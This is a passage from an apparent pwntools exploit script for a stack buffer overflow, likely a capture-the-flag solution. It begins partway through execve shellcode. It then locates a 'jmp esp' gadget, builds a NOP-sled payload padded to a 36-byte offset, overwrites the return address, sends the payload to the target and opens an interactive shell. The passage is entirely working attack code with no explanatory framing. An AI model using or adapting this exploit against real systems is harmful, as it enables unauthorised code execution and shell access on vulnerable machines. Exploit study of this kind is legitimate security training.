mov al,0xB
int 0x80
'''
)
offset = 36
nop_sled_size = 100
jmp_addrs = list(elf.search(asm('jmp esp')))
jmp = jmp_addrs[0] if jmp_addrs else 0x08048534
nop = b"\x90" * nop_sled_size
body = nop + shellcode
if len(body) > offset:
avail = max(0, offset - len(shellcode))
body = b"\x90" * avail + shellcode
payload = body.ljust(offset, b"\x90") + p32(jmp)
log.info(f"using jmp: {hex(jmp)}")
p.sendlineafter(b"me?", payload)
p.interactive()